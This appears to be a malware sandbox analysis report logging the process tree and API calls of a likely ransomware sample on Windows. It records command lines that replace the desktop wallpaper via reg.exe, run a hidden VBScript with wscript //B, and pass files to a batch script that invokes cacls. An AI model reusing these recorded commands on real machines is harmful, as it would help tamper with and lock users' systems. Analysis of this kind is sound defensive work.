File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 14	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Set Environment String	name = FN, value = "qmgr.db"	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 163	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 31	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 148	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = FN, result_out = "qmgr.db"	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 32	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 52	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 1	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Process	Create	process_name = cmd.exe	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 1	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 44	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = mxkeFu6a.exe, type = file_attributes	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\Users\FD1HVy\Desktop\mxkeFu6a.exe, os_pid = 0xce0, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000001	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 0	1	Fn
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 0	1	Fn
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn

Process #13: reg.exe

38

0

»

Information	Value
ID	#13
File Name	c:\windows\syswow64\reg.exe
Command Line	reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\FD1HVy\AppData\Roaming\GJhtEkh2.bmp" /f
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:01:55, Reason: Child Process
Unmonitor	End Time: 00:01:58, Reason: Self Terminated
Monitor Duration	00:00:02

OS Process Information

»

Information	Value
PID	0x11d4
Parent PID	0x10fc (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 11D8 0x 11F8

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
reg.exe	0x00350000	0x003A1FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Threads

Thread 0x11d8

38

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\reg.exe, base_address = 0x350000	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System	1	Fn
Registry	Create Key	reg_name = HKEY_CURRENT_USER\Control Panel\Desktop	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Control Panel\Desktop, value_name = Wallpaper	1	Fn
Registry	Write Value	reg_name = HKEY_CURRENT_USER\Control Panel\Desktop, value_name = Wallpaper, data = C:\Users\FD1HVy\AppData\Roaming\GJhtEkh2.bmp, size = 90, type = REG_SZ	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 39	1	Fn Data

Process #14: wscript.exe

33

0

»

Information	Value
ID	#14
File Name	c:\windows\syswow64\wscript.exe
Command Line	wscript //B //Nologo "C:\Users\FD1HVy\AppData\Roaming\eapzhiWZ.vbs"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:01:55, Reason: Child Process
Unmonitor	End Time: 00:03:57, Reason: Self Terminated
Monitor Duration	00:02:01

OS Process Information

»

Information	Value
PID	0x11dc
Parent PID	0x1104 (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 11E0 0x 11F4 0x 1248 0x 1300 0x 1330 0x 1368 0x 10C4 0x 10C0 0x EB8 0x 1B4 0x 548 0x 47C

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	Actions
vbscript.dll	0x742F0000	0x7436FFFF	Marked Writable	-	32-bit	-	... Region Actions Download Dump
wscript.exe	0x00A40000	0x00A66FFF	Forced	-	32-bit	-	... Region Actions Download Dump
wscript.exe	0x00A40000	0x00A66FFF	Process Termination	-	32-bit	-	... Region Actions Download Dump

Threads

Thread 0x11e0

33

0

»

Category	Operation	Information	Count	Logfile
System	Get Info	type = Operating System	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = QueryProtectedPolicy, address_out = 0x74f71cd0	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings, value_name = AmsiEnable, data = 0, type = REG_NONE	1	Fn
Module	Load	module_name = amsi.dll, base_address = 0x74390000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\amsi.dll, function = AmsiInitialize, address_out = 0x74393dd0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\amsi.dll, function = AmsiScanString, address_out = 0x74394170	1	Fn
COM	Create	interface = 6C736DC1-AB0D-11D0-A2AD-00A0C90F27E8, cls_context = CLSCTX_INPROC_SERVER	1	Fn
System	Get Time	type = Ticks, time = 186734	1	Fn
System	Get Info	type = Operating System	1	Fn
File	Get Info	type = size	1	Fn
File	Read	size = 261, size_out = 261	1	Fn Data
COM	Create	interface = E4D1C9B0-46E8-11D4-A2A6-00104BD35090, cls_context = CLSCTX_INPROC_SERVER	1	Fn
System	Get Info	type = Operating System	1	Fn
System	Get Info	type = Hardware Information	1	Fn
COM	Get Class ID	cls_id = 72C24DD5-D70A-438B-8A42-98424B88AFB8, prog_id = Wscript.Shell	1	Fn
COM	Create	interface = 00000001-0000-0000-C000-000000000046, cls_context = CLSCTX_INPROC_SERVER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER	1	Fn
System	Get Info	type = Operating System	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\wscript.exe, file_name_orig = C:\WINDOWS\SysWOW64\wscript.exe, size = 261	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\wscript.exe, base_address = 0xa40000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\wscript.exe, function = 1, address_out = 0xa4ae50	1	Fn
Module	Load	module_name = shell32.dll, base_address = 0x76480000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\shell32.dll, function = ShellExecuteExW, address_out = 0x765e4730	1	Fn
Process	Create	process_name = cmd.exe, show_window = SW_HIDE	1	Fn
System	Sleep	duration = -1 (infinite)	1	Fn
Process	Create	process_name = cmd.exe, show_window = SW_HIDE	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\amsi.dll, function = AmsiUninitialize, address_out = 0x74393fb0	1	Fn

Process #15: reg.exe

38

0

»

Information	Value
ID	#15
File Name	c:\windows\syswow64\reg.exe
Command Line	reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:01:58, Reason: Child Process
Unmonitor	End Time: 00:02:01, Reason: Self Terminated
Monitor Duration	00:00:03

OS Process Information

»

Information	Value
PID	0x1200
Parent PID	0x10fc (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1204 0x 1228

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
reg.exe	0x00350000	0x003A1FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Threads

Thread 0x1204

38

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\reg.exe, base_address = 0x350000	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System	1	Fn
Registry	Create Key	reg_name = HKEY_CURRENT_USER\Control Panel\Desktop	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Control Panel\Desktop, value_name = WallpaperStyle	1	Fn
Registry	Write Value	reg_name = HKEY_CURRENT_USER\Control Panel\Desktop, value_name = WallpaperStyle, data = 0, size = 4, type = REG_SZ	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 39	1	Fn Data

Process #16: cmd.exe

367

0

»

Information	Value
ID	#16
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:01:58, Reason: Child Process
Unmonitor	End Time: 00:03:37, Reason: Self Terminated
Monitor Duration	00:01:38

OS Process Information

»

Information	Value
PID	0x1208
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 120C 0x 1240

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cmd.exe	0x00CD0000	0x00D28FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Threads

Thread 0x120c

367

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 48, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 94	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0x1264, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 194	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
